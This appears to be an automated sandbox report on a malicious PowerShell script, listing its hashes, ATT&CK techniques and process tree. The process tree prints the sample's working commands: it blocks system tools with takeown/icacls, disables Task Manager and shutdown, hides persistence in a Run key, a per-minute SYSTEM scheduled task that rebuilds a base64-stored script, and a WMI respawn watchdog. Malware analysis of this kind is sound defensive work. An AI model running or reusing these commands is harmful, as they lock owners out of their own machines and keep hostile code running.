1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827

Analysis

max time kernel
11s
max time network
18s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/06/2026, 20:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 12KB
Sample260619-yr7h4sbs8l
SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
MD5 4c47e1405c6fa862f6cda3b2d2a82469
SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
TLSH
T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution exploit persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1288	powershell.exe
3276	PowerShell.exe
5940	powershell.exe
5372	powershell.exe
3264	powershell.exe
4580	powershell.exe
5184	powershell.exe
2712	powershell.exe
436	powershell.exe
4120	powershell.exe

Possible privilege escalation attempt 28 IoCs

exploit

pid	Process
716	takeown.exe
1608	takeown.exe
2552	takeown.exe
1652	icacls.exe
1840	takeown.exe
4472	icacls.exe
5932	icacls.exe
4492	icacls.exe
1940	icacls.exe
1152	takeown.exe
2700	takeown.exe
3424	icacls.exe
4988	icacls.exe
5604	icacls.exe
5412	takeown.exe
5600	icacls.exe
5052	takeown.exe
1856	icacls.exe
2972	icacls.exe
1428	takeown.exe
5140	takeown.exe
4748	takeown.exe
2600	takeown.exe
5936	icacls.exe
2088	icacls.exe
2032	icacls.exe
6072	takeown.exe
2400	takeown.exe

Modifies file permissions 1 TTPs 28 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1152	takeown.exe
2700	takeown.exe
5936	icacls.exe
716	takeown.exe
1608	takeown.exe
1940	icacls.exe
1428	takeown.exe
1840	takeown.exe
2600	takeown.exe
5932	icacls.exe
3424	icacls.exe
2972	icacls.exe
2400	takeown.exe
4988	icacls.exe
5604	icacls.exe
5412	takeown.exe
5600	icacls.exe
2552	takeown.exe
1856	icacls.exe
2088	icacls.exe
4472	icacls.exe
5140	takeown.exe
4492	icacls.exe
5052	takeown.exe
1652	icacls.exe
2032	icacls.exe
6072	takeown.exe
4748	takeown.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\ProgramData\\Microsoft\\Windows\\SystemUpdate\\SysUpdate.ps1\""	PowerShell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2488	schtasks.exe
4668	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3276	PowerShell.exe
3276	PowerShell.exe
5184	powershell.exe
5184	powershell.exe
2712	powershell.exe
2712	powershell.exe
5184	powershell.exe
436	powershell.exe
436	powershell.exe
2712	powershell.exe
436	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3276	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3276	PowerShell.exe
Token: SeSecurityPrivilege	3276	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3276	PowerShell.exe
Token: SeLoadDriverPrivilege	3276	PowerShell.exe
Token: SeSystemProfilePrivilege	3276	PowerShell.exe
Token: SeSystemtimePrivilege	3276	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3276	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3276	PowerShell.exe
Token: SeCreatePagefilePrivilege	3276	PowerShell.exe
Token: SeBackupPrivilege	3276	PowerShell.exe
Token: SeRestorePrivilege	3276	PowerShell.exe
Token: SeShutdownPrivilege	3276	PowerShell.exe
Token: SeDebugPrivilege	3276	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3276	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3276	PowerShell.exe
Token: SeUndockPrivilege	3276	PowerShell.exe
Token: SeManageVolumePrivilege	3276	PowerShell.exe
Token: 33	3276	PowerShell.exe
Token: 34	3276	PowerShell.exe
Token: 35	3276	PowerShell.exe
Token: 36	3276	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3276	PowerShell.exe
Token: SeSecurityPrivilege	3276	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3276	PowerShell.exe
Token: SeLoadDriverPrivilege	3276	PowerShell.exe
Token: SeSystemProfilePrivilege	3276	PowerShell.exe
Token: SeSystemtimePrivilege	3276	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3276	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3276	PowerShell.exe
Token: SeCreatePagefilePrivilege	3276	PowerShell.exe
Token: SeBackupPrivilege	3276	PowerShell.exe
Token: SeRestorePrivilege	3276	PowerShell.exe
Token: SeShutdownPrivilege	3276	PowerShell.exe
Token: SeDebugPrivilege	3276	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3276	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3276	PowerShell.exe
Token: SeUndockPrivilege	3276	PowerShell.exe
Token: SeManageVolumePrivilege	3276	PowerShell.exe
Token: 33	3276	PowerShell.exe
Token: 34	3276	PowerShell.exe
Token: 35	3276	PowerShell.exe
Token: 36	3276	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3276	PowerShell.exe
Token: SeSecurityPrivilege	3276	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3276	PowerShell.exe
Token: SeLoadDriverPrivilege	3276	PowerShell.exe
Token: SeSystemProfilePrivilege	3276	PowerShell.exe
Token: SeSystemtimePrivilege	3276	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3276	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3276	PowerShell.exe
Token: SeCreatePagefilePrivilege	3276	PowerShell.exe
Token: SeBackupPrivilege	3276	PowerShell.exe
Token: SeRestorePrivilege	3276	PowerShell.exe
Token: SeShutdownPrivilege	3276	PowerShell.exe
Token: SeDebugPrivilege	3276	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3276	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3276	PowerShell.exe
Token: SeUndockPrivilege	3276	PowerShell.exe
Token: SeManageVolumePrivilege	3276	PowerShell.exe
Token: 33	3276	PowerShell.exe
Token: 34	3276	PowerShell.exe
Token: 35	3276	PowerShell.exe
Token: 36	3276	PowerShell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3276 wrote to memory of 2796	3276	PowerShell.exe	90
PID 3276 wrote to memory of 1672	3276	PowerShell.exe	92
PID 3276 wrote to memory of 4744	3276	PowerShell.exe	94
PID 3276 wrote to memory of 1588	3276	PowerShell.exe	96
PID 2796 wrote to memory of 5140	2796	cmd.exe	98
PID 1672 wrote to memory of 716	1672	cmd.exe	181
PID 3276 wrote to memory of 1756	3276	PowerShell.exe	100
PID 2796 wrote to memory of 2032	2796	cmd.exe	103
PID 3276 wrote to memory of 5196	3276	PowerShell.exe	102
PID 4744 wrote to memory of 5052	4744	cmd.exe	106
PID 1672 wrote to memory of 4472	1672	cmd.exe	182
PID 3276 wrote to memory of 1912	3276	PowerShell.exe	107
PID 1588 wrote to memory of 1840	1588	cmd.exe	109
PID 3276 wrote to memory of 5808	3276	PowerShell.exe	110
PID 1756 wrote to memory of 1428	1756	cmd.exe	111
PID 4744 wrote to memory of 1940	4744	cmd.exe	113
PID 3276 wrote to memory of 2840	3276	PowerShell.exe	114
PID 5196 wrote to memory of 1608	5196	cmd.exe	116
PID 1912 wrote to memory of 4268	1912	cmd.exe	117
PID 1588 wrote to memory of 2088	1588	cmd.exe	119
PID 3276 wrote to memory of 2520	3276	PowerShell.exe	118
PID 1756 wrote to memory of 2972	1756	cmd.exe	121
PID 3276 wrote to memory of 5184	3276	PowerShell.exe	122
PID 5196 wrote to memory of 1652	5196	cmd.exe	124
PID 3276 wrote to memory of 4808	3276	PowerShell.exe	125
PID 2840 wrote to memory of 2664	2840	cmd.exe	126
PID 5808 wrote to memory of 2356	5808	cmd.exe	128
PID 2520 wrote to memory of 252	2520	cmd.exe	190
PID 3276 wrote to memory of 244	3276	PowerShell.exe	129
PID 3276 wrote to memory of 2712	3276	PowerShell.exe	132
PID 3276 wrote to memory of 436	3276	PowerShell.exe	135
PID 4808 wrote to memory of 2552	4808	cmd.exe	137
PID 244 wrote to memory of 2488	244	cmd.exe	138
PID 4808 wrote to memory of 1856	4808	cmd.exe	139
PID 436 wrote to memory of 4388	436	powershell.exe	140
PID 436 wrote to memory of 3108	436	powershell.exe	142
PID 436 wrote to memory of 2656	436	powershell.exe	144
PID 436 wrote to memory of 1676	436	powershell.exe	146
PID 436 wrote to memory of 5148	436	powershell.exe	148
PID 436 wrote to memory of 4984	436	powershell.exe	150
PID 4388 wrote to memory of 6072	4388	cmd.exe	153
PID 3108 wrote to memory of 4748	3108	cmd.exe	154
PID 436 wrote to memory of 3048	436	powershell.exe	152
PID 436 wrote to memory of 1492	436	powershell.exe	156
PID 436 wrote to memory of 5088	436	powershell.exe	158
PID 1676 wrote to memory of 1152	1676	cmd.exe	159
PID 436 wrote to memory of 5484	436	powershell.exe	161
PID 5148 wrote to memory of 2600	5148	cmd.exe	163
PID 436 wrote to memory of 4120	436	powershell.exe	164
PID 436 wrote to memory of 5916	436	powershell.exe	166
PID 2656 wrote to memory of 2700	2656	cmd.exe	167
PID 4984 wrote to memory of 2400	4984	cmd.exe	168
PID 3108 wrote to memory of 5932	3108	cmd.exe	170
PID 436 wrote to memory of 3040	436	powershell.exe	171

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3276
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskpart.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5140
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2032
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\format.com"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:716
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4472
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\cleanmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5052
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1940
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\defrag.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1840
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2088
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1428
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2972
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5196
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\compmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1608
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1652
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    PID:4268
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    PID:2356
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:2664
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5184
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2552
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1856
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:244
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4388
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\diskpart.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6072
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3424
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\format.com"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5932
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\cleanmgr.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2700
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5936
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\defrag.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1152
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4988
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5148
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\diskmgmt.msc"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2600
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4492
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\compmgmt.msc"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2400
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    PID:3048
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
      4⤵
      PID:4472
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    PID:1492
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
      4⤵
      PID:628
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5088
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5440
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:5484
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      PID:6048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4120
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
    3⤵
    PID:5916
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5600
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
    3⤵
    PID:3040
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)"
    3⤵
